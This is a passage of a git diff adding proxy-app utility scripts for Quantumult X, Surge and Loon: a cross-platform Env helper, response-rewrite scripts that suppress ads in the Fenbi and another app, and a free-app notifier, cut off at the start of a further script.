this.initGotEnv(request) + this.got(request) + .on('redirect', (resp, nextOpts) => { + try { + if (resp.headers['set-cookie']) { + const ck = resp.headers['set-cookie'] + .map(this.cktough.Cookie.parse) + .toString() + if (ck) { + this.ckjar.setCookieSync(ck, null) + } + nextOpts.cookieJar = this.ckjar + } + } catch (e) { + this.logErr(e) + } + // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) + }) + .then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + rawBody + } = resp + const body = iconv.decode(rawBody, this.encoding) + callback( + null, + { status, statusCode, headers, rawBody, body }, + body + ) + }, + (err) => { + const { message: error, response: resp } = err + callback( + error, + resp, + resp && iconv.decode(resp.rawBody, this.encoding) + ) + } + ) + break + } + } + + post(request, callback = () => {}) { + const method = request.method + ? request.method.toLocaleLowerCase() + : 'post' + + // 如果指定了请求体, 但没指定 `Content-Type`、`content-type`, 则自动生成。 + if ( + request.body && + request.headers && + !request.headers['Content-Type'] && + !request.headers['content-type'] + ) { + // HTTP/1、HTTP/2 都支持小写 headers + request.headers['content-type'] = 'application/x-www-form-urlencoded' + } + // 为避免指定错误 `content-length` 这里删除该属性,由工具端 (HttpClient) 负责重新计算并赋值 + if (request.headers) { + delete request.headers['Content-Length'] + delete request.headers['content-length'] + } + // followRedirect 禁止重定向 + if ( + typeof request.followRedirect !== 'undefined' && + !request['followRedirect'] + ) { + if (this.isSurge() || this.isLoon()) request['auto-redirect'] = false // Surge & Loon + if (this.isQuanX()) + request.opts + ? (request['opts']['redirection'] = false) + : (request.opts = { redirection: false }) // Quantumult X + } + switch (this.getEnv()) { + case 'Surge': + case 'Loon': + case 'Stash': + case 'Shadowrocket': + default: + if (this.isSurge() && this.isNeedRewrite) { + request.headers = request.headers || {} + Object.assign(request.headers, { 'X-Surge-Skip-Scripting': false }) + } + $httpClient[method](request, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status ? resp.status : resp.statusCode + resp.status = resp.statusCode + } + callback(err, resp, body) + }) + break + case 'Quantumult X': + request.method = method + if (this.isNeedRewrite) { + request.opts = request.opts || {} + Object.assign(request.opts, { hints: false }) + } + $task.fetch(request).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body, + bodyBytes + } = resp + callback( + null, + { status, statusCode, headers, body, bodyBytes }, + body, + bodyBytes + ) + }, + (err) => callback((err && err.error) || 'UndefinedError') + ) + break + case 'Node.js': + let iconv = require('iconv-lite') + this.initGotEnv(request) + const { url, ..._request } = request + this.got[method](url, _request).then( + (resp) => { + const { statusCode: status, statusCode, headers, rawBody } = resp + const body = iconv.decode(rawBody, this.encoding) + callback( + null, + { status, statusCode, headers, rawBody, body }, + body + ) + }, + (err) => { + const { message: error, response: resp } = err + callback( + error, + resp, + resp && iconv.decode(resp.rawBody, this.encoding) + ) + } + ) + break + } + } + /** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {string} fmt 格式化参数 + * @param {number} 可选: 根据指定时间戳返回格式化日期 + * + */ + time(fmt, ts = null) { + const date = ts ? new Date(ts) : new Date() + let o = { + 'M+': date.getMonth() + 1, + 'd+': date.getDate(), + 'H+': date.getHours(), + 'm+': date.getMinutes(), + 's+': date.getSeconds(), + 'q+': Math.floor((date.getMonth() + 3) / 3), + 'S': date.getMilliseconds() + } + if (/(y+)/.test(fmt)) + fmt = fmt.replace( + RegExp.$1, + (date.getFullYear() + '').substr(4 - RegExp.$1.length) + ) + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace( + RegExp.$1, + RegExp.$1.length == 1 + ? o[k] + : ('00' + o[k]).substr(('' + o[k]).length) + ) + return fmt + } + + /** + * + * @param {Object} options + * @returns {String} 将 Object 对象 转换成 queryStr: key=val&name=senku + */ + queryStr(options) { + let queryString = '' + + for (const key in options) { + let value = options[key] + if (value != null && value !== '') { + if (typeof value === 'object') { + value = JSON.stringify(value) + } + queryString += `${key}=${value}&` + } + } + queryString = queryString.substring(0, queryString.length - 1) + + return queryString + } + + /** + * 系统通知 + * + * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 + * + * 示例: + * $.msg(title, subt, desc, 'twitter://') + * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * + * @param {*} title 标题 + * @param {*} subt 副标题 + * @param {*} desc 通知详情 + * @param {*} opts 通知参数 + * + */ + msg(title = name, subt = '', desc = '', opts = {}) { + const toEnvOpts = (rawopts) => { + const { $open, $copy, $media, $mediaMime } = rawopts + switch (typeof rawopts) { + case undefined: + return rawopts + case 'string': + switch (this.getEnv()) { + case 'Surge': + case 'Stash': + default: + return { url: rawopts } + case 'Loon': + case 'Shadowrocket': + return rawopts + case 'Quantumult X': + return { 'open-url': rawopts } + case 'Node.js': + return undefined + } + case 'object': + switch (this.getEnv()) { + case 'Surge': + case 'Stash': + case 'Shadowrocket': + default: { + const options = {} + + // 打开URL + let openUrl = + rawopts.openUrl || rawopts.url || rawopts['open-url'] || $open + if (openUrl) + Object.assign(options, { action: 'open-url', url: openUrl }) + + // 粘贴板 + let copy = + rawopts['update-pasteboard'] || + rawopts.updatePasteboard || + $copy + if (copy) { + Object.assign(options, { action: 'clipboard', text: copy }) + } + + if ($media) { + let mediaUrl = undefined + let media = undefined + let mime = undefined + // http 开头的网络地址 + if ($media.startsWith('http')) { + mediaUrl = $media + } + // 带标识的 Base64 字符串 + // data:image/png;base64,iVBORw0KGgo... + else if ($media.startsWith('data:')) { + const [data] = $media.split(';') + const [, base64str] = $media.split(',') + media = base64str + mime = data.replace('data:', '') + } + // 没有标识的 Base64 字符串 + // iVBORw0KGgo... + else { + // https://stackoverflow.com/questions/57976898/how-to-get-mime-type-from-base-64-string + const getMimeFromBase64 = (encoded) => { + const signatures = { + 'JVBERi0': 'application/pdf', + 'R0lGODdh': 'image/gif', + 'R0lGODlh': 'image/gif', + 'iVBORw0KGgo': 'image/png', + '/9j/': 'image/jpg' + } + for (var s in signatures) { + if (encoded.indexOf(s) === 0) { + return signatures[s] + } + } + return null + } + media = $media + mime = getMimeFromBase64($media) + } + + Object.assign(options, { + 'media-url': mediaUrl, + 'media-base64': media, + 'media-base64-mime': $mediaMime ?? mime + }) + } + + Object.assign(options, { + 'auto-dismiss': rawopts['auto-dismiss'], + 'sound': rawopts['sound'] + }) + return options + } + case 'Loon': { + const options = {} + + let openUrl = + rawopts.openUrl || rawopts.url || rawopts['open-url'] || $open + if (openUrl) Object.assign(options, { openUrl }) + + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + if ($media?.startsWith('http')) mediaUrl = $media + if (mediaUrl) Object.assign(options, { mediaUrl }) + + console.log(JSON.stringify(options)) + return options + } + case 'Quantumult X': { + const options = {} + + let openUrl = + rawopts['open-url'] || rawopts.url || rawopts.openUrl || $open + if (openUrl) Object.assign(options, { 'open-url': openUrl }) + + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + if ($media?.startsWith('http')) mediaUrl = $media + if (mediaUrl) Object.assign(options, { 'media-url': mediaUrl }) + + let copy = + rawopts['update-pasteboard'] || + rawopts.updatePasteboard || + $copy + if (copy) Object.assign(options, { 'update-pasteboard': copy }) + + console.log(JSON.stringify(options)) + return options + } + case 'Node.js': + return undefined + } + default: + return undefined + } + } + if (!this.isMute) { + switch (this.getEnv()) { + case 'Surge': + case 'Loon': + case 'Stash': + case 'Shadowrocket': + default: + $notification.post(title, subt, desc, toEnvOpts(opts)) + break + case 'Quantumult X': + $notify(title, subt, desc, toEnvOpts(opts)) + break + case 'Node.js': + break + } + } + if (!this.isMuteLog) { + let logs = ['', '==============📣系统通知📣=============='] + logs.push(title) + subt ? logs.push(subt) : '' + desc ? logs.push(desc) : '' + console.log(logs.join('\n')) + this.logs = this.logs.concat(logs) + } + } + + debug(...logs) { + if (this.logLevels[this.logLevel] <= this.logLevels.debug) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log( + `${this.logLevelPrefixs.debug}${logs.map((l) => l ?? String(l)).join(this.logSeparator)}` + ) + } + } + + info(...logs) { + if (this.logLevels[this.logLevel] <= this.logLevels.info) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log( + `${this.logLevelPrefixs.info}${logs.map((l) => l ?? String(l)).join(this.logSeparator)}` + ) + } + } + + warn(...logs) { + if (this.logLevels[this.logLevel] <= this.logLevels.warn) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log( + `${this.logLevelPrefixs.warn}${logs.map((l) => l ?? String(l)).join(this.logSeparator)}` + ) + } + } + + error(...logs) { + if (this.logLevels[this.logLevel] <= this.logLevels.error) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log( + `${this.logLevelPrefixs.error}${logs.map((l) => l ?? String(l)).join(this.logSeparator)}` + ) + } + } + + log(...logs) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log(logs.map((l) => l ?? String(l)).join(this.logSeparator)) + } + + logErr(err, msg) { + switch (this.getEnv()) { + case 'Surge': + case 'Loon': + case 'Stash': + case 'Shadowrocket': + case 'Quantumult X': + default: + this.log('', `❗️${this.name}, 错误!`, msg, err) + break + case 'Node.js': + this.log( + '', + `❗️${this.name}, 错误!`, + msg, + typeof err.message !== 'undefined' ? err.message : err, + err.stack + ) + break + } + } + + wait(time) { + return new Promise((resolve) => setTimeout(resolve, time)) + } + + done(val = {}) { + const endTime = new Date().getTime() + const costTime = (endTime - this.startTime) / 1000 + this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) + this.log() + switch (this.getEnv()) { + case 'Surge': + case 'Loon': + case 'Stash': + case 'Shadowrocket': + case 'Quantumult X': + default: + $done(val) + break + case 'Node.js': + process.exit(1) + } + } + })(name, opts) +} diff --git a/Scripts/env/Env.min.js b/Scripts/env/Env.min.js new file mode 100644 index 00000000..b64b5e46 --- /dev/null +++ b/Scripts/env/Env.min.js @@ -0,0 +1 @@ +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} \ No newline at end of file diff --git a/Scripts/fenbi.js b/Scripts/fenbi.js new file mode 100644 index 00000000..13defe1c --- /dev/null +++ b/Scripts/fenbi.js @@ -0,0 +1,26 @@ +// 2023-08-19 16:00 + +/** + [rewrite_local] + ^https:\/\/tiku\.fenbi\.com\/activity\/app\/launcher\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fenbi.js + + [mitm] + hostname = tiku.fenbi.com + */ + +//^https:\/\/tiku\.fenbi\.com\/iphone\/(shenlun|xingce|sqgj)\/banners\/v2?.* url script-response-body https://raw.githubusercontent.com/githubacct001/QuantumultX/secret/Rewrite/Fenbi/fbgk.js + +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("/activity/app/launcher")) { + if (obj?.data?.length > 0) { + obj.data.forEach((i) => { + i.startTime = 2208960000; // Unix 时间戳 2040-01-01 00:00:00 + i.endTime = 2209046399; // Unix 时间戳 2040-01-01 23:59:59 + }); + } +} + +$done({ body: JSON.stringify(obj) }); \ No newline at end of file diff --git a/Scripts/fly.js b/Scripts/fly.js new file mode 100644 index 00000000..94f485c8 --- /dev/null +++ b/Scripts/fly.js @@ -0,0 +1,13 @@ +var body = $response.body; +var new_body = JSON.parse(body); + +if (new_body.Variables.data.threaddetail) { + new_body.Variables.data.threaddetail.tagadv = ""; + new_body.Variables.data.threaddetail.threadapp_ad_video = []; + new_body.Variables.data.threaddetail.pingyouadv = ""; + new_body.Variables.data.threaddetail.middleadv = ""; + new_body.Variables.data.threaddetail.bottomadv = ""; + new_body.Variables.data.threaddetail.appdetailadv = []; +} + +$done({body: JSON.stringify(new_body)}); \ No newline at end of file diff --git a/Scripts/freeAppsToday.js b/Scripts/freeAppsToday.js new file mode 100644 index 00000000..5cf1fbdb --- /dev/null +++ b/Scripts/freeAppsToday.js @@ -0,0 +1,163 @@ +const $ = new Xiaobai(); + +// 填key就行 +const key = $prefs.valueForKey('freeAppsTodayKey'); + +const myRequest = { + url: "https://api.gofans.cn/v1/m/app_records?page=1&limit=10", + headers: { + referer: "https://m.gofans.cn/", + origin: "https://m.gofans.cn", + }, +}; + +const uuid_cache = async (req, uuid, readData) => { + const stringLen = (str, num) => (str.length <= num ? str : str.substring(0, num)); + if ((readData = getRead[uuid])) { + uuidArr.push(uuid); + return {...readData, type: true}; + } + let [data] = await $.get(req); + data["description"] = stringLen(data["description"], 200); + const regex = /price|track_url|name|primary_genre_name|icon|description|version|original_price|kind_name/; + data = Object.keys(data).reduce((result, key) => (regex.test(key) && (result[key] = data[key]), result), {}); + newArr.push(uuid); + getRead[uuid] = data; + return data; +}; + + +const currentTime = () => new Date().toLocaleString(); + +class NoteObject { + constructor(key) { + this.key = typeof $argument !== "undefined" ? $argument : key; + + this.barkObject = (name, body, icon, obj) => ({ + url: "https://api.day.app/push", + headers: {"Content-Type": "application/json; charset=utf-8"}, + timeout: 3, + body: $.jsonS({ + title: name, + body: body, + icon: icon, + device_key: this.key, + ...obj, + }), + }); + } + + notif({price, track_url, name, primary_genre_name, icon, description, version, original_price, kind_name, type}) { + const body = `类别:${primary_genre_name} 版本:${version}\n原价:${original_price} 现价:${price} 平台:${kind_name}\n${description}`; + const obj = { + group: (initialize && kind_name) || type ? kind_name : "", + level: "passive", + url: track_url, + }; + return this.key + ? $.post(this.barkObject(name, body, icon, obj)) + : $.msg(name, "", body, {url: track_url, media: icon}); + } + + end(name, body, icon) { + return this.key + ? $.post(this.barkObject(name, body, icon)) + : $.msg(name, "", body); + } +} + +const uuidArr = []; +const newArr = []; +const getRead = $.jsonP($.read("APP") || "{}"); +const initialize = Object.keys(getRead).length === 0; +const note = new NoteObject(key); + +$.get(myRequest) + .then(([{data}]) => { + if (!data) throw "空数据" + const uuid_Request = data.map(({uuid}) => [uuid, {...myRequest, url: `https://api.gofans.cn/v1/m/apps/${uuid}`}]); + // 并发请求获取应用程序详细数据 + return Promise.allSettled(uuid_Request.map(([uuid, req]) => uuid_cache(req, uuid))); + }) + .then((json) => + // 筛选出成功的请求,并返回数据 + json.reduce((prev, {status, value}) => (status === "fulfilled" ? [...prev, value] : prev), []) + ) + .then((noteData) => + // 并发请求发送推送通知 + Promise.allSettled(noteData.map((val) => note.notif(val))) + ) + .then(() => { + // 更新数据 + const sum = newArr.length; + const sumArr = [...uuidArr, ...newArr]; + const getReakeys = Object.keys(getRead); + let message = "APP暂无更新"; + if (sum || sumArr.length !== getReakeys.length) { + message = `APP已更新 数量: ${newArr.length}\n${newArr.map((val) => getRead[val].name).join(" ")}`; + getReakeys.forEach((key) => { + sumArr.includes(key) || delete getRead[key]; + }); + $.write($.jsonS(getRead), "APP"); + } + // 发送结束通知 + note.end( + "限免APP", + `刷新时间 ${currentTime()}\n${message}`, + "https://pic.616pic.com/ys_b_img/00/58/60/IiOiwSSokt.jpg", + ); + }) + .catch((err) => { + $.log(err, data); + $.msg("", err, data); + }) + .finally(() => $done()); + +function Xiaobai() { + const isSurge = typeof $httpClient !== "undefined"; + + const reqPro = (method, options, parse) => { + return new Promise((resolve, reject) => { + const cb = (err, resp, body) => err ? reject(err) : resolve([parse ? body : JSON.parse(body), resp]); + + if (isSurge) { + $httpClient[method](options, cb); + } else { + typeof options === "string" && (options = {url: `${options}`}); + options.method = method.toUpperCase(); + $task.fetch(options) + .then(({headers, statusCode, body}) => + resolve([parse ? body : JSON.parse(body), {...headers, status: statusCode}]) + ) + .catch(r => + reject(r.error) + ); + } + }); + } + + this.get = (options, parse) => reqPro("get", options, parse); + + this.post = (options, parse) => reqPro("post", options, parse); + + this.read = key => isSurge + ? $persistentStore.read(key) + : $prefs.valueForKey(key); + + this.write = (key, val) => isSurge + ? $persistentStore.write(key, val) + : $prefs.setValueForKey(key, val); + + this.msg = (t, s, b, u) => { + const {url, media} = u || {}; + isSurge + ? $notification.post(t, s, b, url && {url: url}) + : $notify(t, s, b, {"open-url": url, "media-url": media}); + }; + + this.log = (...x) => + console.log(["", ...x].map(arg => typeof arg === "object" ? JSON.stringify(arg) : arg).join("\n")); + + this.jsonS = x => JSON.stringify(x); + this.jsonP = x => JSON.parse(x); +} diff --git a/Scripts/haluo/haluo.js b/Scripts/haluo/haluo.js new file mode 100644 index 00000000..b964d882 --- /dev/null +++ b/Scripts/haluo/haluo.js @@ -0,0 +1,66 @@ +// 嵌入 CryptoJS 库的源码(只包含 AES 部分) +(function(){ + var 